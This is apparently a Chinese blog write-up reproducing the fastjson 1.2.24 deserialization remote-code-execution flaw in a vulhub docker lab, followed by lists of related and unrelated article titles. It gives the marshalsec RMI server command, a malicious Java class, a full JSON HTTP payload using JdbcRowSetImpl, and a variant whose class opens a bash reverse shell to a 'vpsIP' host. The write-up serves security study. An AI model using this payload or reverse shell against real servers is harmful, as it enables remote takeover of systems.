0x00 实验环境

攻击机:Win 10、Win Server2012 R2(公网环境,恶意java文件所在服务器)

靶机也可作为攻击机:Ubuntu18 (公网环境,docker搭建的vulhub靶场)(兼顾反弹shell的攻击机)

0x01 影响版本

fastjson<=1.2.24

0x02 避坑指南

(1)Ubuntu18开启恶意加载RMI的java环境需要为低版本1.8的任意版本

(2)确保清楚知道自己在做什么

(3)python的简易网站使用的python版本为2.X(python -m SimpleHTTPServer 6666),3.X可直接使用

python -m http.server 6666

0x03 实验步骤

首先,进入靶场环境,我们可以看到这个漏洞平台:

以上为普通的json格式的数据上传

我们应该做的第一件事是判断该网站是否存在fastjson漏洞,这个我暂时还没研究出来,先复现一下吧。

首先第一件事就是要准备好实验环境:假设我的攻击主机使用的是一台,那么,这个逻辑是:

Ubuntu的8090端口存放靶场

Ubuntu的4444端口使用python开启一个简易的web站点(实验中我并未使用这个方法,而是直接使用了另一台在公网上的win server 2012R2的服务器搭建的web)

Ubuntu的2333端口监听反弹过来的shell

还有一个比较重要的问题就是,攻击思路为:使用Ubuntu的java加载一个调用恶意文件的环境,再使用该环境远程加载一个恶意类,达到借刀进行命令执行的效果。

思路理清了我们就正式开始此次复现。

(1)在以下链接下载marshalsec辅助开启JAVA RMI环境:

地址:git clone https://github.com/mbechler/marshalsec

(2)由于我的Ubuntu为最新18版本,内置的java环境为11,因此在复现过程中无法成功开启rmi服务,你可以先使用以下Tips安装java1.8环境:

Tips:安装好1.8版本的java后(具体请参考网上的其他java环境安装教程),替换java的环境:

update-alternatives --config java

ubuntu如何安装配置JDK1.8:

https://jingyan.baidu.com/article/6dad5075237536a123e36e0c.html

(3)由于我的环境已经安装好恶意调用java的RMI服务,因此这里仅提供以下编译环境的命令,编译成功会出现绿色的"BUILD SUCCESS"字样:

mvn clean package -DskipTests

(4)安装完成好后,新建一个java脚本,命名为TouchFile.java,这个文件的作用大致就是使用java创建一个文件,如下为其所有代码,本意为在靶场的tmp目录下创建一个名为success的文件:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process; public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

(5)在此之前,我需要说明的是,实验我已经复现成功了,所以我已经先把success的文件做删除,这里证明一下。使用以下命令进行docker容器:

然后进入到tmp目录下查询success的文件并将其删除:

(6)开始复现,在我的Win Server2012 R2上搭建一个web服务,将上述的java文件编译好后放入跟目录:

java编译.class的命令为:

javac TouchFile.java

(7)然后我们在自己的服务上,进入到自己下载的辅助搭建RMI服务的工具的target目录内:marshalsec/target/。存在以下两个可以调用开启RMI服务的jar包

使用以下命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP/#TouchFile" 9999

这里的vpsIP是指你的公网的开启web后放入TouchFile.class的那台服务器。本意为,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本机的9999端口开启一个RMI服务加载TouchFile.class文件。

(8)刷新靶场的链接,抓包后改GET包为POST包,然后在发送的请求数据包中输入以下payload:

 payload:

POST / HTTP/1.1
Host: IP:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 164 {
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://IP:9999/TouchFile",
"autoCommit":true
}
}

在docker的靶场环境内,成功执行创建文件的命令:

反弹shell的步骤仅仅是照葫芦画瓢,修改.java的恶意加载文件,恶意java文件修改为反弹shell的命令,然后编译为.class,然后传到web站点:

重要的payload放置如下:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process; public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/2333 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

反弹成功:

0x04 实验原理

fastjson版本:1.2.22-1.2.24。这些版本的fastjson未对@type中加载进的类进行过滤,导致的这一版漏洞。

主要由于利用templatesImlp这个类,这个类中有一个_bytecodes字段,部分函数能够根据这个字段来生成类的实例,这个类的构造函数是我们可控的,就能rce

参考https://www.secpulse.com/archives/72391.html

复现参考https://www.cnblogs.com/null1433/p/12694088.html

漏洞复现-fastjson1.2.24-RCE的更多相关文章

  1. Fastjson1.2.24反序列化漏洞复现

    Fastjson1.2.24 目录 1. 环境简介 1.1 物理环境 1.2 网络环境 1.3 工具 1.4 流程 2. Docker+vulhub+fastjson1.2.24 2.1 Docker ...

  2. 追洞小组 | fastjson1.2.24复现+分析

    出品|MS08067实验室(www.ms08067.com) 本文作者:爱吃芝士的小葵(Ms08067实验室追洞小组成员) 1.靶场搭建 2.漏洞复现 3.漏洞分析 4.漏洞修复 5.心得 靶场搭建 ...

  3. Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现

    Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...

  4. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  5. Apache Solr JMX服务 RCE 漏洞复现

    Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...

  6. 【Vulhub】CVE-2019-3396 Confluence RCE漏洞复现

    CVE-2019-3396 Confluence RCE漏洞复现 一.环境搭建 选择的vulhub里的镜像,进入vulhub/Confluence/CVE-2019-3396目录下,执行 docker ...

  7. Fastjson1.2.24RCE漏洞复现

    Fastjson1.2.24RCE漏洞复现 环境搭建 这里用的Vulhub靶场 cd /vulhub/fastjson/1.2.24-rce docker-compose up -d 报错 ERROR ...

  8. CVE-2019-5475:Nexus2 yum插件RCE漏洞复现

    0x00 前言 如果有想一起做漏洞复现的小伙伴,欢迎加入我们,公众号内点击联系作者即可 提示:由于某些原因,公众号内部分工具即将移除,如果有需要的请尽快保存 0x01 漏洞概述 最近hackerone ...

  9. Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

    0x00 简介 Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布.数据通信以及容错机制等功能.基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任 ...

随机推荐

  1. python访问Oracle数据库相关操作

    环境: Python版本:3.6.6 win系统:64位 Linux系统:64位 首先安装配置时,版本必须一致!包括:系统版本,python版本,oracle客户端的版本,cx_Oracle的版本! ...

  2. 解决M1 MacBook无法使用pip安装Numpy

    问题描述 Python官方已发布支持M1 Apple Silicon的版本,但是在使用pip包管理工具安装一些依赖时发生了错误,这里面就包括在科学计算领域常用的numpy.pandas等.目前可以通过 ...

  3. Docker架构分解

    Docker总架构分解Docker对使用者来讲是一个C/S模式的架构,而Docker的后端是一个非常松耦合的架构,模块各司其职,并有机组合,支撑Docker的运行. 用户是使用Docker Clien ...

  4. 【原创】Linux虚拟化KVM-Qemu分析(九)之virtio设备

    背景 Read the fucking source code! --By 鲁迅 A picture is worth a thousand words. --By 高尔基 说明: KVM版本:5.9 ...

  5. CodeForces 348D Turtles(LGV定理)题解

    题意:两只乌龟从1 1走到n m,只能走没有'#'的位置,问你两只乌龟走的时候不见面的路径走法有几种 思路:LGV定理模板.但是定理中只能从n个不同起点走向n个不同终点,那么需要转化.显然必有一只从1 ...

  6. ARM cache 工作方式

    综述 现在的CPU的速度远远高于现代存储器的速度所以出现了cache.按和CPU距离分为L1级和L2级(SM)等.这里主要记录一下自己对cache的工作方式的学习理解. cache工作方式 cahe是 ...

  7. 关于 TCP 三次握手和四次挥手,满分回答在此

    尽人事,听天命.博主东南大学研究生在读,热爱健身和篮球,正在为两年后的秋招准备中,乐于分享技术相关的所见所得,关注公众号 @ 飞天小牛肉,第一时间获取文章更新,成长的路上我们一起进步 本文已收录于 C ...

  8. hihoCoder Challenge 2

    #1046 : K个串 时间限制:40000ms 单点时限:2000ms 内存限制:1024MB 描述 兔子们在玩k个串的游戏.首先,它们拿出了一个长度为n的数字序列,选出其中的一个连续子串,然后统计 ...

  9. website captcha

    website captcha 验证码 hCaptcha hCaptcha通过询问对人类来说很容易且对机器来说很困难的简单问题,可以帮助您喜欢的Web服务阻止机器人,垃圾邮件和滥用行为. https: ...

  10. css skeleton loading & skeleton components

    css skeleton loading css & :empty See the Pen Skeleton Screen with CSS by xgqfrms (@xgqfrms) on ...